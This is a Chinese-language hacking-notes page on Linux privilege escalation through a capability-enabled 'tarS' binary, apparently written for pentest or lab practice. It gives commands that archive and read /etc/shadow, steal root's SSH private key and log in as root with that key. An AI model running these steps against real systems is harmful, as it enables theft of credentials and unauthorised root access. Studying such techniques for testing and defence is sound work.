> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md).
# Capabilities（tarS）- Linux 权限提升
Capabilities（tarS 二进制文件）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
Linux capabilities 将 root 权限拆分为可分配给二进制文件的细粒度权限。危险的能力，例如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或者文件写入能力可以绕过普通用户限制。本页重点介绍一个启用了能力的 **tarS** 二进制文件，并使利用流程保持实用：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
getcap -r / 2>/dev/null
```
## 示例
## 权限提升（Capabilities）
```bash
getcap -r / 2>/dev/null
```
使用 `getcap` 以枚举文件 capabilities。识别那些能够读取当前用户正常权限之外文件的二进制程序。
**捕获 `/etc/shadow` 使用 tarS**
创建一个包含 `/etc/shadow`:
```bash
tarS -cvf shadow.tar /etc/shadow
```
将归档解压到 `/tmp`，然后放宽复制文件的权限，使其可以被读取：
```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```
**使用 tarS 获取 root 的 SSH 私钥**
使用以下命令获取 root 用户的 .ssh 私钥：
```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```
**使用捕获的私钥进行 SSH 连接：**
使用获取到的私钥在本地机器上建立与 root 用户的 SSH 连接。
```bash
ssh -i id_rsa root@localhost -p 2082
```
---
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